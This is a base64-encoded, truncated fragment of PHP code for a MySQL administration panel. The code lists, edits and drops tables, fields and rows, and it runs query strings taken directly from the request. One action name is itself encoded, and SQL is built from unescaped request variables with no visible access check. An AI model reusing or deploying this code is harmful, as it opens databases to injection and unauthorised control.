KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1kbWxsZDBSaGRHRT0mZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcGFnZT0iLigkcGFnZSsyKTsNCgkJZWxzZQ0KCQkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1xdWVyeSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSZxdWVyeVN0cj0kcXVlcnlTdHImcGFnZT0iLigkcGFnZSsyKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+TmV4dDwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIk5leHQiOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRyb3cgPiAkcm93cGVycGFnZSApIHsNCgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdlPlxuIjsNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHbyc+XG4iOw0KCX0NCgllY2hvICI8L2Zvcm0+XG4iOw0KCWVjaG8gIjwvZm9udD5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZURhdGEoICRjbWQgKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJFBIUF9TRUxGOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKSB7DQoJCWVjaG8gIjxoMT5FZGl0IERhdGE8L2gxPlxuIjsNCgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOw0KCQkkbnVtID0gbXlzcWxfbnVtX2ZpZWxkcyggJHBSZXN1bHQgKTsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRpID0gMDsgJGkgPCAkbnVtOyAkaSsrICkgew0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkNCgkJCQkJJGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIiBBTkQgIjsNCgkJCQllbHNlDQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1lIC4gIj0nIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJyBBTkQgIjsNCgkJfQ0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOw0KCQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCQkkcFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgPSAgIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAka2V5IiwgJG15c3FsSGFuZGxlICk7DQoJCSRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJfQ0KCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVuYW1lPC9wPlxuIjsNCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+XG4iOw0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWFkZERhdGFfc3VibWl0PlxuIjsNCgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApDQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdGlvbiB2YWx1ZT1lZGl0RGF0YV9zdWJtaXQ+XG4iOw0KCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRibmFtZSB2YWx1ZT0kZGJuYW1lPlxuIjsNCgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFsdWU9JHRhYmxlbmFtZT5cbiI7DQoJZWNobyAiPHRhYmxlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj5cbiI7DQoJZWNobyAiPHRyPlxuIjsNCgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOw0KCWVjaG8gIjx0aD5UeXBlPC90aD5cbiI7DQoJZWNobyAiPHRoPkZ1bmN0aW9uPC90aD5cbiI7DQoJZWNobyAiPHRoPkRhdGE8L3RoPlxuIjsNCgllY2hvICI8L3RyPlxuIjsNCgkkcFJlc3VsdCA9IG15c3FsX2RiX3F1ZXJ5KCAkZGJuYW1lLCAiU0hPVyBmaWVsZHMgRlJPTSAkdGFibGVuYW1lIiApOw0KCSRudW0gPSBteXNxbF9udW1fcm93cyggJHBSZXN1bHQgKTsNCgkkcFJlc3VsdExlbiA9IG15c3FsX2xpc3RfZmllbGRzKCAkZGJuYW1lLCAkdGFibGVuYW1lICk7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7DQoJCSRmaWVsZG5hbWUgPSAkZmllbGRbIkZpZWxkIl07DQoJCSRmaWVsZHR5cGUgPSAkZmllbGRbIlR5cGUiXTsNCgkJJGxlbiA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7DQoJCWVjaG8gIjx0cj4iOw0KCQllY2hvICI8dGQ+JGZpZWxkbmFtZTwvdGQ+IjsNCgkJZWNobyAiPHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+IjsNCgkJZWNobyAiPHRkPlxuIjsNCgkJZWNobyAiPHNlbGVjdCBuYW1lPSR7ZmllbGRuYW1lfV9mdW5jdGlvbj5cbiI7DQoJCWVjaG8gIjxvcHRpb24+XG4iOw0KCQllY2hvICI8b3B0aW9uPkFTQ0lJXG4iOw0KCQllY2hvICI8b3B0aW9uPkNIQVJcbiI7DQoJCWVjaG8gIjxvcHRpb24+U09VTkRFWFxuIjsNCgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOw0KCQllY2hvICI8b3B0aW9uPkNVUlRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+RlJPTV9EQVlTXG4iOw0KCQllY2hvICI8b3B0aW9uPkZST01fVU5JWFRJTUVcbiI7DQoJCWVjaG8gIjxvcHRpb24+Tk9XXG4iOw0KCQllY2hvICI8b3B0aW9uPlBBU1NXT1JEXG4iOw0KCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7DQoJCWVjaG8gIjxvcHRpb24+UEVSSU9EX0RJRkZcbiI7DQoJCWVjaG8gIjxvcHRpb24+VE9fREFZU1xuIjsNCgkJZWNobyAiPG9wdGlvbj5VU0VSXG4iOw0KCQllY2hvICI8b3B0aW9uPldFRUtEQVlcbiI7DQoJCWVjaG8gIjxvcHRpb24+UkFORFxuIjsNCgkJZWNobyAiPC9zZWxlY3Q+XG4iOw0KCQllY2hvICI8L3RkPlxuIjsNCgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkZGF0YVskaV0pOw0KCQlpZiggJGNtZCA9PSAiYWRkIiApIHsNCgkJCSR0eXBlID0gc3RydG9rKCAkZmllbGR0eXBlLCAiICgsKVxuIiApOw0KCQkJaWYoICR0eXBlID09ICJlbnVtIiB8fCAkdHlwZSA9PSAic2V0IiApIHsNCgkJCQllY2hvICI8dGQ+XG4iOw0KCQkJCWlmKCAkdHlwZSA9PSAiZW51bSIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZT5cbiI7DQoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQ0KCQkJCQllY2hvICI8c2VsZWN0IG5hbWU9JGZpZWxkbmFtZSBzaXplPTQgbXVsdGlwbGU+XG4iOw0KCQkJCXdoaWxlKCAkc3RyID0gc3RydG9rKCAiJyIgKSApIHsNCgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOw0KCQkJCQlzdHJ0b2soICInIiApOw0KCQkJCX0NCgkJCQllY2hvICI8L3NlbGVjdD5cbiI7DQoJCQkJZWNobyAiPC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWlmKCAkbGVuIDwgNDAgKQ0KCQkJCQllY2hvICI8dGQ+PGlucHV0IHR5cGU9dGV4dCBzaXplPTQwIG1heGxlbmd0aD0kbGVuIG5hbWU9JGZpZWxkbmFtZT48L3RkPlxuIjsNCgkJCQllbHNlDQoJCQkJCWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOw0KCQkJfQ0KCQl9IGVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkgew0KCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7DQoJCQlpZiggJHR5cGUgPT0gImVudW0iIHx8ICR0eXBlID09ICJzZXQiICkgew0KCQkJCWVjaG8gIjx0ZD5cbiI7DQoJCQkJaWYoICR0eXBlI